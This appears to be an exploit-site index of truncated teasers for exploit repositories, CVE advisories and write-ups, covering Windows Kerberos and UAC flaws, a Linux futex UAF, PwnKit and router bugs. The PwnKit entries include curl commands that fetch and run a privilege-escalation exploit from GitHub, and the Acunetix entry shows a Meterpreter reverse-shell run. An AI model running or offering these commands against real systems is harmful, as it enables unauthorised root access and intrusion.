Kerberos-CVE-2026-27912

Kerberos-CVE-2026-27912 CVE-2026-27912 - Windows Kerberos 权限提升漏洞 ResetNightmare - 通过 Kerberos 更改密码协议缺陷实现未授权密码重置 📋 详情 字段| 值 ---|--- CVE| CVE-2026-27912 标题| Windows Kerberos 权限提升漏洞 CVSS| 8.0 HIGH CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE| CWE-285：授权不当 发布日期| 2026年4月14日 已修补| 2026年4月 🔍 攻击流程...

BadSamba

DESCRIPTION This module is used to exploit startup script execution through Windows Group Policy settings when configured to run off of a remote SMB share. Windows Group Policy can be used to configure startup scripts that will execute each time the operating system powers on. These scripts execu...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE 用法 使用 运行脚本 root@kitploit: dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 4444 Exploit started o...

Win10Pcap-Exploit

Win10Pcap-Exploit 致谢 https://twitter.com/R00tkitSMM [email protected] telegram 用户名：https://telegram.me/firozi 不久前，我在 win10pcap 驱动程序中发现了可导致权限提升的漏洞。我已报告该漏洞，现在该 bug 已修复： www.win10pcap.org/download/ 因此我决定发布示例漏洞利用代码 Win10Pcap 是一个基于 WinPcap 的新型以太网数据包捕获库。 与原始 WinPcap 不同，Win10Pcap 兼容 NDIS 6.x...

uacscript

Windows 脚本宿主中的 UAC 绕过漏洞 Windows 脚本宿主可执行文件由于缺少嵌入式清单而存在漏洞。 利用另一个漏洞，可以将 "wusa.exe" 和 "makecab.exe" 文件的组合复制到 Windows 文件夹。 清单和脚本宿主的副本允许执行复制的脚本宿主，并在 UAC 设置为默认值的情况下绕过 UAC 警告消息。 ZDI 和微软都知道这个问题，如预期那样，ZDI 没有接受该报告，因为这不是一个远程漏洞。令人惊讶的是，微软没有接受该漏洞，因为“UAC 不被视为安全边界”。 只有 Windows 7 容易受到攻击，Windows 8 具有嵌入式清单，而 Windows...

CVE-2024-48590

CVE-2024-48590 漏洞披露：Inflectra SpiraTeam 7.2.00 中的 SSRF 描述 Inflectra SpiraTeam 版本 7.2.00 的 NewsReaderService 组件存在服务器端请求伪造（SSRF）漏洞。 漏洞类型 服务器端请求伪造（SSRF） 厂商 Inflectra 受影响产品 SpiraTeam 7.2.00 受影响组件 NewsReaderService 攻击类型 远程 影响 权限提升 ：允许攻击者可能获得更高的访问权限。 信息泄露 ：暴露主机系统中的敏感数据。 攻击向量 攻击者可以向 NewsReaderService...

slui-file-handler-hijack-privilege-escalation

Slui 文件处理程序劫持 LPE 漏洞信息| ---|--- 日期| 15.01.2018 已修补| Windows 10 20H1 19041 exploit-db| 44830 测试环境| Windows 8-10, x86/x64 通用 描述 slui.exe 是一个自动提升权限的二进制文件，容易遭受文件处理程序劫持攻击。 执行时会读取 HKCU\Software\Classes\exefile\shell\open。由于该注册表项可从用户模式访问，因此可以注入任意可执行文件。 该漏洞利用通常与编程语言和位数无关，因为无需 DLL...

DIR8xx_PoC

phpcgi phpcgi 负责处理对 .php、.asp 和 .txt 页面的请求，同时还检查用户是否已获得授权。然而，如果请求以恰当的方式构造，攻击者可以轻松绕过授权并执行一个脚本，该脚本会返回路由器的登录名和密码。 hnap 由于 hnap 协议实现中的错误，我们可以使栈溢出，并以 root 权限执行任意 sh 命令。 update 如果你能访问以太网端口，就可以向设备上传自定义固件，因为系统恢复服务会在重启后的几秒钟内启动并可用。...

VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "渗透测试实验室报告，记录了从侦察到 root 的完整攻击链。" 🔓 VulnHub — DC-1 Boot-to-Root 靶机 Writeup 难度： 初级–中级 平台： VulnHub 目标： 获取全部 4 个 flag 并实现完整的 root 级攻陷 攻击机系统： Kali Linux（VirtualBox — NAT 网络） 目标机系统： Debian Linux（Drupal 7 CMS） 📌 目录 1. 实验环境搭建 2. 侦察与信息收集 3. 漏洞利用 — 远程代码执行 4. 后渗透 — Shell 稳定化 5. Flag 1 —...

GhostLock

GhostLock - CVE-2026-43499 本地提权漏洞利用 漏洞概述 CVE 编号： CVE-2026-43499 漏洞类型： futex PI（优先级继承）栈 UAF（Use-After-Free） 影响范围： Linux 内核 6.1 6.12（Android GKI） 利用效果： 本地提权 + SELinux 禁用，获取 root shell 工作原理 漏洞触发路径 root@kitploit: 用户空间 → pselect → 内核栈上分配 rtmutexwaiter → futex PI 操作触发 waiter 释放 → 释放后的 waiter 内存被 fdset...

OVSwrap

OVSwrap CVE-2026-64531 Análisis !WARNING El PoC se proporciona únicamente para ayudar a defensores, mantenedores y equipos de seguridad autorizados a validar parches, mitigaciones, detecciones y exposición en sistemas que poseen o para los que están explícitamente autorizados a probar. Usted es e...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — ScadaBR 漏洞分析 针对 CVE-2026-9645 的技术漏洞分析与 CVE 简报，该漏洞影响开源 ScadaBR SCADA/HMI 平台 。 概述 CVE-2026-9645 是 ScadaBR 中的一个严重已认证远程代码执行漏洞。 根据已准备的简报： 严重程度： 严重 CVSS v3.1： 9.9 漏洞类型： 已认证远程代码执行 CWE： CWE-78 — 操作系统命令注入 受影响产品： ScadaBR 所需访问权限： 低权限已认证账户 用户交互： 无 受影响版本： 所有已知版本 补丁状态： 无官方补丁可用；该项目已停止维护 漏洞摘要...

KERNELexploits

PwnKit CVE-2021-4034 の自己完結型エクスプロイト - Pkexec ローカル権限昇格 使い方 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでそのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 root@kitploit: curl -fsSL...

Exploit for Deserialization of Untrusted Data in Facebook React

Hackcar - Writeup Plataforma: DockerLabs Dificultad...

CVE-2026-8303

Incorrect privilege assignment vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus-software allows Privilege Escalation. This issue affects Pardus-software: before 1.0.5...

CVE-2026-89009

WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1V250922 contain an unauthenticated arbitrary file write vulnerability that allows remote attackers to overwrite any file on the device by sending a crafted payload to the syncserver daemon on TCP port 13136. The daemon, which runs...

CVE-2026-38056

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs,...

UBUNTU-CVE-2026-85979

Affected versions of Puppet Enterprise contain a command injection vulnerability in the handling of the javakeystorepasswd parameter. An authenticated user with Puppet administrative privileges can inject arbitrary shell commands by providing a specially crafted value for this parameter, which is...

PwnKit-CVE-2021-4034

PwnKit CVE-2021-4034 の PoC - Pkexec ローカル権限昇格 エクスプロイト 手動 root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command パッチ適用済み パッチ適用済みのバージョンに対してエクスプロイトを実行すると、以下の出力が得られます。...

CVE-2026-38056

A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0 , a rackmount satellite modem used as the primary communications link for offshore rigs, vessels, and remote sites. The device ships with a pre-configured low-privilege local user accoun...